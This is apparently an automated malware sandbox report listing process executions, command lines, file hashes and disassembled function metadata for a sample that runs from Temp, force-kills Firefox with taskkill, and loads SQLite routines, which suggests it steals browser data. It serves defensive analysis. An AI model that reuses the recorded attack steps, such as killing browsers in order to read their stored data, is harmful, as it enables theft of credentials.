MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	04:25:06
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	04:25:06
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe"
Imagebase:	0x350000
File size:	923'136 bytes
MD5 hash:	2C54882BE674E76F31F1F13CFD331D55
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	04:25:09
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x620000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	04:25:09
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	04:25:13
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6684 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	04:25:13
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6908 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	04:25:17
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0x30000
File size:	2'833'920 bytes
MD5 hash:	9835CBFE3DC7AE0FEE6A1F29ECEAD86F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	04:25:23
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0x620000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	04:25:23
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	04:25:23
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	04:25:23
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04EB0C9A Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2243da8a3089bb8f1a05551b6022a91ce9d1fadc2ec78e3c6f7a3c554a0b50d2
Instruction ID: ed326e5a80e81edd6f8d33f9e927f5e8957e15df14cc293b671daa3716ba0702
Opcode Fuzzy Hash: 2243da8a3089bb8f1a05551b6022a91ce9d1fadc2ec78e3c6f7a3c554a0b50d2
Instruction Fuzzy Hash: 5C015BEB30C120BEF04281422B50AF76B6DE7D2630330D527F887DA685F2587E4A30B2

Function 04EB0D62 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

kXPR, xrefs: 04EB0D74

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID: kXPR
API String ID: 0-2417147290
Opcode ID: a4a69fd9d7b373efb6685885d5771d59582b312e176994f173069d3b25f4ecf8
Instruction ID: bf80166cf15cf373f0b80b943f656885efa196843a76a7103fb2d14765214ef7
Opcode Fuzzy Hash: a4a69fd9d7b373efb6685885d5771d59582b312e176994f173069d3b25f4ecf8
Instruction Fuzzy Hash: E40124B674C200EFE14285668745AF77B69FBD3630330A616F4C79A6C1F2607D4221E2

Function 04EB0DA0 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

kXPR, xrefs: 04EB0D74

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID: kXPR
API String ID: 0-2417147290
Opcode ID: 744c490429bac6dea6af19ae4a0169515cd7ab3aa454f18979b61c04d2b4458b
Instruction ID: eddaf3dae155e3a575a938ddb3088744843b39f4909d1d0ff2f307d8dcf566ec
Opcode Fuzzy Hash: 744c490429bac6dea6af19ae4a0169515cd7ab3aa454f18979b61c04d2b4458b
Instruction Fuzzy Hash: F3F046A7B5C0209FD15395A1555A2F32F4AEBD3630330AA12E0C2DAAD2F10A7A5661E1

Function 04EB0CC7 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d712e9dd34ddafdcc6c241bf367be4891751bd866d79986b52a705c3cc99b38
Instruction ID: 44ffa966662472b5198d97b431a2d9a418fea13611db6d2b7578b62cdc3be634
Opcode Fuzzy Hash: 6d712e9dd34ddafdcc6c241bf367be4891751bd866d79986b52a705c3cc99b38
Instruction Fuzzy Hash: BF018FE730C110EFE082815227516F76B69EBD3230330A527F4CBDAA81F6647A5A74B2

Function 04EB0CE3 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa0568826fa488ef39826769dbdc8f16107119ff8b17aae11dd9301927fc2637
Instruction ID: 651c5bb18fb2ff69c7c2d68a8f03aff871dbd645db6934eb60d7ee7fbe650d3f
Opcode Fuzzy Hash: aa0568826fa488ef39826769dbdc8f16107119ff8b17aae11dd9301927fc2637
Instruction Fuzzy Hash: F50126F770C110EFE142464153005F76B69EBA7230330A56AF4C7DA7C1F2247A4171A1

Function 04EB0D01 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27383f69a90606bba72de5d53630a537d0c1f601b114c8286c76ce3bd70aadfa
Instruction ID: fafa043ee4bf439ce252756238a24045a3eec23e2129b12314d500c4002458e2
Opcode Fuzzy Hash: 27383f69a90606bba72de5d53630a537d0c1f601b114c8286c76ce3bd70aadfa
Instruction Fuzzy Hash: BEF0F0A774C110EFE042424257016F76A69E793230330A622F0DBDA6C1F6647E5171E2

Function 04EB0D41 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a91559092911b7638131a7093f77c55210d0dbe7c2d5e7471bbc08e8d80a49
Instruction ID: 220a6e33b2c0ecaec0f38f0771729d567873951ecd6c93ee0dd355080ebfe726
Opcode Fuzzy Hash: c7a91559092911b7638131a7093f77c55210d0dbe7c2d5e7471bbc08e8d80a49
Instruction Fuzzy Hash: BEF0F6E370C250AFE14342501A546F76F69E7D32303309657F4C3DA2D1F6593D4561E1

Function 04EB0D26 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1036ada57fe27d7743e3d1adb7239d467f2882496e30c1f858830ca2288ea3
Instruction ID: 35ddd39e3bdf8245052ca1c1ec23e3856bc1e5dcc60c86194c0640b37ad6fe24
Opcode Fuzzy Hash: bd1036ada57fe27d7743e3d1adb7239d467f2882496e30c1f858830ca2288ea3
Instruction Fuzzy Hash: 02F040B2B0D100EFE1424241AA009F3BB28EB87230330966AF4D39B2C0F2243A51B1E2

Function 04EB0D12 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93f4ad328d51b90cf16d523de657821af85a9dd70c7869952951e6faaa98ac0a
Instruction ID: 441fa476d8a4b5ac761b783fcd6d275e694dcbba24010690e38dee6a680faa77
Opcode Fuzzy Hash: 93f4ad328d51b90cf16d523de657821af85a9dd70c7869952951e6faaa98ac0a
Instruction Fuzzy Hash: 9BF0F6A2708210EFE142415513042F7BA55A7932303309516F8C7DB6C1F2143D51B1E1

Function 04EB0D53 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f352a6801cc8d951c1663fdb31d350524ab4aa3cb1999b14ff2cfaaa89980dd7
Instruction ID: 9fd6053686632a51d71e95d355a21c565e73a54a7d63f000b05cdff8bf4a6cf2
Opcode Fuzzy Hash: f352a6801cc8d951c1663fdb31d350524ab4aa3cb1999b14ff2cfaaa89980dd7
Instruction Fuzzy Hash: D8E0EDE3B0C110EFE052416126006F76B2AE3D2230330A622F0D3DA7C0F2583E8531E1

Function 04EB0D87 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65aebc4e5be20b4a38365763840546ffe944419268f0965c394c050811a756f8
Instruction ID: e4220f11300ff4c57a0e740ca6d94d437f2ce83e6f99ade3942d3d2fd839a8f0
Opcode Fuzzy Hash: 65aebc4e5be20b4a38365763840546ffe944419268f0965c394c050811a756f8
Instruction Fuzzy Hash: 50E0CDE775C114DFE041606227516F72B5AD3E6230370E712F5D3EAAC1F229399361E1

Non-executed Functions

Function 04EB05F0 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115305931.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1acca571e5148974b759f35de8cc7e204e388a12ea004542a785f8f42851fa3
Instruction ID: 06999d1b6f656829ab7fe17b1a9a0ddb3dbd04287c28dfdf9250087f240a9647
Opcode Fuzzy Hash: d1acca571e5148974b759f35de8cc7e204e388a12ea004542a785f8f42851fa3
Instruction Fuzzy Hash: 56F04FFB60D101AEF215C4427B14AFB772CD6D6730331D83BF487C5816E2957A4A61B1

Analysis Process: 194fcc03d1.exePID: 3172, Parent PID: 764COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	91.6%
Signature Coverage:	15.1%
Total number of Nodes:	1323
Total number of Limit Nodes:	185

Executed Functions

Function 6D2935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6D31F688,00001000), ref: 6D2935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6D2935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6D2935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6D29363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6D29369F
__aulldiv.LIBCMT ref: 6D2936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6D293773
EnterCriticalSection.KERNEL32(6D31F688), ref: 6D29377E
LeaveCriticalSection.KERNEL32(6D31F688), ref: 6D2937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6D2937C4
EnterCriticalSection.KERNEL32(6D31F688), ref: 6D2937CB
LeaveCriticalSection.KERNEL32(6D31F688), ref: 6D293801
__aulldiv.LIBCMT ref: 6D293883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6D293902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6D293918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6D29394C

Strings

QPC, xrefs: 6D2938FC
GenuntelineI, xrefs: 6D293639
GTC, xrefs: 6D293912
AuthcAMDenti, xrefs: 6D293946
MOZ_TIMESTAMP_MODE, xrefs: 6D2935DB

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 904c8e1aa7a90799b94749e4a7041a1cb2028e2efa45a99dcbf844710dcf9ec1
Instruction ID: a0fe1571f4bfabaa2b6d970f699be9d09455c8d8fac9a8aded0501e33eafef5d
Opcode Fuzzy Hash: 904c8e1aa7a90799b94749e4a7041a1cb2028e2efa45a99dcbf844710dcf9ec1
Instruction Fuzzy Hash: D7B1C772A48312AFDB08DF29CC5676ABBF9FB8A740F05852DE8A9D7350D7709801CB51

Function 61E88FCA Relevance: 9.6, Strings: 7, Instructions: 866COMMON

Download Yara Rule

Strings

UNIQUE, xrefs: 61E899F4
bua, xrefs: 61E89A13
sqlite_temp_master, xrefs: 61E89339
invalid rootpage, xrefs: 61E89B28
index, xrefs: 61E890AB, 61E89217, 61E893FF
sqlite_master, xrefs: 61E8932D
BINARY, xrefs: 61E896A2, 61E89791

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: UNIQUE$BINARY$bua$index$invalid rootpage$sqlite_master$sqlite_temp_master
API String ID: 0-1733444394
Opcode ID: 677f39c5c0b88d3a95e1aa418194e0bc9a7cda8d0ddbf0d64897306ef9b615d4
Instruction ID: c52f25025489653eb610d6e343a086c80a5a7374dd8721026aec1ef0af0b0df4
Opcode Fuzzy Hash: 677f39c5c0b88d3a95e1aa418194e0bc9a7cda8d0ddbf0d64897306ef9b615d4
Instruction Fuzzy Hash: 1892F174E08255CFDB51CFA8C580B99BBF1BF89308F65C1A9E859AB352D734E881CB41

Function 61EAD2AC Relevance: 6.6, Strings: 5, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

main, xrefs: 61EAD638
kqa, xrefs: 61EAD645
RTRIM, xrefs: 61EAD507
NOCASE, xrefs: 61EAD4C8
BINARY, xrefs: 61EAD40C, 61EAD478, 61EAD4A0

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: strcmp
String ID: BINARY$NOCASE$RTRIM$kqa$main
API String ID: 1004003707-114998471
Opcode ID: eb0d71a9bae34c90f2016917b8c7868330cdfa3f001531e5febcb26f360aa406
Instruction ID: 60bcc8b0197c989f7013f8b1edc5a9d28cf944306873f66ca73508c1f88d5ce1
Opcode Fuzzy Hash: eb0d71a9bae34c90f2016917b8c7868330cdfa3f001531e5febcb26f360aa406
Instruction Fuzzy Hash: DEE149B4A087858BEB00DF68C59474ABBF1BF89308F24C86DEC989F395D779C8458B51

Function 61E354D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,61ECC400,?,61E35248), ref: 61E354EB

Strings

HRa, xrefs: 61E3554C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: InfoSystem
String ID: HRa
API String ID: 31276548-1004199025
Opcode ID: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction ID: 06cda1940385b8855eb11c4b22b944da250b3e82bd825487f891a332eec36e05
Opcode Fuzzy Hash: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction Fuzzy Hash: 56F03AB02083419BD704AFA4C60631FBAF5AFC6B09F66C82DD1858B380CB75D8559B93

Function 61E75F1F Relevance: 3.3, Strings: 2, Instructions: 815COMMON

Download Yara Rule

Strings

multiple recursive references: %s, xrefs: 61E76A4B
recursive reference in a subquery: %s, xrefs: 61E76A54

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: multiple recursive references: %s$recursive reference in a subquery: %s
API String ID: 0-3854365051
Opcode ID: 297298a0f659725ea1119cf4835fa01018d93a3eeff2d039f5330e37d216fd09
Instruction ID: 7d5e909c26c2478cc4d8a1152a5e5b16c7ea0641b558a5fde8b477d39de8e8ad
Opcode Fuzzy Hash: 297298a0f659725ea1119cf4835fa01018d93a3eeff2d039f5330e37d216fd09
Instruction Fuzzy Hash: 4E8207B4A052899FEB25CFA8C180B9DBBF1BF48308F24C559E859AB355D734E846CF50

Function 61E4B8A1 Relevance: 1.6, APIs: 1, Instructions: 323COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4BBA6

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ed4d27912dbe291840a559579dab3d42a6617fb12eb7351fcaeaaaeb62aa1ba8
Instruction ID: 0d30bdf3ca1535cc6e9debfec2a3fa3a34d16498aff86589297f71c0a5a37c1e
Opcode Fuzzy Hash: ed4d27912dbe291840a559579dab3d42a6617fb12eb7351fcaeaaaeb62aa1ba8
Instruction Fuzzy Hash: 7DC15D30E082858BEB15CFA8E4D079D7AF1AF8831CF29C46DD8469B349EB74D885CB51

Function 61E496F9 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

winOpenShm, xrefs: 61E49857
winShmMap3, xrefs: 61E49A30
winShmMap1, xrefs: 61E49911
winShmMap2, xrefs: 61E49981

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: free
String ID: winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 1294909896-1629717226
Opcode ID: 40484b8c6ed9106eb34a86b17dcb33a0b4e1df044a0183da4f620a76fb169042
Instruction ID: 8d0c298248e1ba2ecef5768321b4e8eead2654d32140d3df1cef0edc35cdcae1
Opcode Fuzzy Hash: 40484b8c6ed9106eb34a86b17dcb33a0b4e1df044a0183da4f620a76fb169042
